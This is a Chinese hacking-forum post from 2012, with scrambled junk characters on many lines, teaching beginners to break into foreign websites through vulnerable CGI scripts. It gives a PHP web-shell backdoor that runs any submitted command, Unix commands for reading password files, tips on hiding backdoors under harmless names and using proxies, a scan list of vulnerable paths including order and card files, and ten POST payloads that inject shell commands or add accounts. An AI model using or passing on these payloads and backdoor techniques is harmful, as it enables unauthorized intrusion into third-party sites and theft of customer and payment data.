中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法+ z3 j; ?/ [+ M' y6 g% v
大家好 我是bboyhip  只是一名菜菜的exploiter
' `* I; C( k7 _  o: W$ a很开心来到贵论坛
; H6 [) H7 ^' ^5 J7 c这里让我感觉 很有技术交流的感觉
8 Z! u* }1 W+ n. @我会长长来玩的
* p* G$ R4 d/ g% O) a前言:
% k# k9 P% m% Y( J以下讲解针对欧美日本网站' k8 d0 Q- ^) |. ~. m# ~% k5 H% \/ O
當我們在做滲透分析的時候 方法有很多3 S6 ~7 p" B! L4 ], O
我门都知道 国外伺服器大多是linux 平台; C+ ]+ j: {6 K: Q2 Y7 B
所以有很多网站程序有6成都会使用cgi 脚本来管理
6 ]& W5 |; p, _2 X目录为/cgi-bin/( M+ j  v. E' @. ~4 m

- C; H0 n* g+ W6 q只是个人在实务上一些经验
! K+ D9 E( t% g; a写的不好 请多多见谅喔 3 J% m3 p9 j& w. N) r* @* S9 t
在这里我简单分为几个部份一定要會的
% y# z% `8 N2 n8 v' i" _讲解一下/ a$ J. c, B% y8 {6 T
让没有基础的人很容易上手8 f4 E: E4 [# x7 A  A0 L  V

* n7 q* a) a$ Z2 c$ Y. S以下内容跟帖回复才能看到
0 y( i0 \) u6 V2 V+ ~4 G7 G==============================
  y# |, n' @* p
9 L7 e, _: d; c( ^0 ~8 N第1部份: 何谓Shell?
4 F# V! |: ?  _6 YShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:! r# c6 U  d+ J, J. w
A shell is the program which reads user input from the command line and executes actions based upon that input.
# A4 e+ I; S# l7 h' ~意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
# f( t" i( ?0 f
' t( z1 z; g* }5 \8 y) Y  g( z$ N对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  4 X7 {: N# ^9 }7 h' c
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
5 u+ Y5 A" V7 m: w( i4 A所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.+ k) g! q5 j0 }! x6 @  r
) T" k0 j4 O) N: f* ~6 `$ s, N
第2部份: Unix 指令
1 Z# H8 O* P* A( N, J4 w2 _' C以下是一些常见及重要的指令:
. R( }7 V. d' v2 C8 \pwd: 显示当前目录, 即是後门/程式所在的位置/ x% \! u0 H' c; `# H- ?8 p
如 /home/www/site.com/cgi-bin/
7 e6 O, C* A( K+ t( jls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
% s- X- _+ B$ }8 k: X+ F! _ls -al :详细列出档案资料(当前目录)3 |* w& \  N2 S# s
ls /: 列出根目录
9 M- S! E) i! z4 Lls /etc: 列出/etc的资料夹及档案7 S2 |4 h. a; D4 `, ]6 b" D
ls ../ -al: 详细列出上一层的资料夹及档案! X! }- E8 P2 H+ P
cat: 显示档案内容
0 e4 N& h( L$ [7 ?5 U5 ~, I+ zcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)+ t' m) k; n8 v: n* b- ~) U* K
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
/ b5 n# R- x* Q4 Q& owho: 显示谁login 至系统2 C! v! ^5 r# S- i3 Q- T$ v, q
man: 显示指令用法  
* K/ \- \& X9 E+ J9 U/ @! fman ls: 显示ls这指令的用法  . W' u6 z0 D7 A' v0 z
mkdir 建立目录
* L/ X7 S; Y, trmdir 删除目录# i, U7 D7 ]0 p( h4 a6 F) s) {
mv 移动档案
" T* n: r. ~% \4 E- _0 x6 c  q  d3 H6 xrm 删除档案0 Z8 b8 Y$ w( Z! Y5 L; Y6 q; {

6 d  u8 q1 ]7 u1 L( U第3部份: Shell的使用
- O! m; E+ P* R, n8 L例如:
. H! O8 I0 _9 k, p$ f0 Q( o8 |1 Rhttp://site.com/refer.php
, E: i  O7 w" Q' u" D  K这是我的後门, 原代码如下:* Q# [0 s0 I1 X! ~# N; ]1 u
<Form Action="#" Method="POST"> " S8 _: S: C& Q7 [( H
<Input type="text" name="cmd">
: X" P1 ~% v& g" M<Input type="Submit">
0 B8 d' J; W5 v. `9 T3 Y' d</Form>
/ F3 v& p4 r0 S1 p  q  O2 k# R<?php
- Z9 W) C& M! {1 w, {& n5 X$cmd = $_POST['cmd']; ( f* f5 o" J" d$ `' C
$Output = shell_exec($cmd); & Q( q) K* K  M( e! G7 |! R
echo $Output; % l7 u+ q" l: m% ^
?> % Z) }$ S3 w  m- Z3 W# f
输入pwd, 可得到绝对路径:+ S6 ~$ T& U- M) F
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
( J" L! K' X: }4 D* o8 a
' i& j. H3 }5 p' T  u# t& T  ^' [第4部份: 注意事项5 k, g% O% R, g, \& |0 m9 G
- 使用匿名代理, 保障自己
1 F7 F' K, v$ H& O9 }' F) }- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
" o0 P3 ?2 \9 a- G# g* S- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
2 Z2 n4 T2 r) D( l7 m: U3 j/ A- E- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.' {& X& \) Y& \6 s* L
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,& X- O7 W! F4 `1 ~) w+ b1 q
不容易被发现.
( W1 I5 ]- ]* }4 h; L- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案). a. b/ ]/ h( g" }8 }
针对网站的渗透分析方法太多了4 K0 q9 a% Z! `
这篇文章的重点是cgi 脚本攻击
$ ~, h3 i! f* Q; Y! r所以我用简单的叙述形容3 B/ M: @( X' y+ O. y: t0 e
开始讲解脚本入侵过程:
* a2 W/ @5 l: v2 ^/ |在这里提供一些方法思路让大家学习一下3 v! C) \+ W% v9 ?# W' v

6 ^3 j6 {/ }- }1 n  z1.一开始对一个网站进行cgi漏洞扫描+ A7 [$ N' I" V& G0 _
我们需要的东西有7 n: j0 L% ^$ W4 @( q
扫洞工具 如:triton..等等
+ w) u  n$ V: @E表' C9 c4 x6 W6 ?. p' D- g6 g& g5 `
如
/ U. f) v5 v: B+ A/cgi-bin/add-passwd.cgi 1 L7 Q8 I/ m, j5 e5 t/ M
/WebShop/templates/cc.txt
% Y# u/ O9 E; z/Admin_files/order.log
2 F+ B6 P  g" K  P9 g6 A1 X/orders/mountain.cfg
' ~  J; Q2 D4 v* z" B* J/cgi-sys/cart.pl4 z% p: f. M9 @- f
/scripts/cart.pl
& s' q4 [* f/ E8 q: i/htbin/cart.pl0 v0 }4 e( H& g
E表来源可以是网路收寻或是自己的0 day
2 Q" r# i+ `6 _9 E4 R0 u+ ?& v5 N# ^9 A" M8 g
2.怎样确认扫到的洞 是真的还假的?
! _* j) ~2 b) q; B$ F举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
9 o' H: m. R) j- o一般都是在IE里先看一下的,记住这个返回码哦8 N* T0 |+ V! {+ I9 h
ERROR:This script should be referenced with a METHOD of POST.
* P: K& P8 Z8 h4 q; q8 m没有返回一定是假的! y. r2 l  M" R8 q4 z  S! S/ P
3.重来来了 很多人都会问我* A1 i- w& e3 x) ?: B& A2 a
他扫到很多洞 但是不会使用
9 l! D2 T  i- `" P; I因为这些漏洞 使用的语法 称为post
  ~2 x" F* B( i+ z我们要找post 的方法很多* c7 W6 X; o* Y0 ~
可以是源代码分析 找出介质% k  n4 C( E. q: c3 b
或是用抓包工具 抓他的语法...等等
& ?) P' j: O# }/ Z; Z1 W* P  S# q4 W3 B! j" H
以下我提供10个 cgi 洞以及使用方法post2 r/ O! a+ ]" {) {
让大家可以针对网站去做扫描  0 v6 z7 ]2 X/ k4 m* c  K( q  E
/index.cgi
2 [. `; s  K" ?) x2 y" q  @wei=ren&gen=command
0 Y0 l& N# C2 W7 a( b. x/passmaster.cgi
6 t% N! e$ y9 @# KAction=Add&Username=Username&Password=Password
5 o4 X; B+ z2 N/ g- c/accountcreate.cgi' h4 N3 |, c' J+ j- c
username=username&password=password&ref1=|echo;ls|3 f" Y0 g3 M, s7 [' D( T( T
/form.cgi
( f  ]' o. [5 b7 C' \2 Tname=xxxx&email=email&subject=xxxx&response=|echo;ls|: s0 E2 n% l0 w: ^6 C
/addusr.pl
6 o  z5 }& I2 t6 H) D# L9 R/cgi-bin/EuroDebit/addusr.pl( K, ~3 T! v+ m; e. |& l
user=username&pass=Password&confirm=Password
+ _% |% ^; y& f6 j; e; t/ccbill-local.asp" C) l0 }/ e  w2 {2 x! P  ~9 O
post_values=username:password, h, q0 I0 ~8 J9 Q0 R  T; o
/count.cgi
6 ?( _9 H5 X- g; Opinfile=|echo;ls -la;exit| ; u! y( e# [" f* y. t4 x! k
/recon.cgi
- \9 s$ ]' b$ a/ D8 C& M/recon.cgi?search
6 Z( A+ M. H% h6 Ksearchoption=1&searchfor=|echo;ls -al;exit|
7 p; ~7 \6 p% `* I/verotelrum.pl
7 J7 h8 C+ b4 r# g9 o2 X* n1 [) Kvercode=username:password:dseegsow:add:amount<&30>
2 \+ O* ^: O  x- U/af.cgi_browser_out=|echo;ls -la;exit;|
) b( C3 A; ?3 x+ _/ T6 H  h; K8 I7 [( |& b7 S+ X) ^
今天就讲到这  感谢大家支持
( r- |$ F' y: O, U! y/ y




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2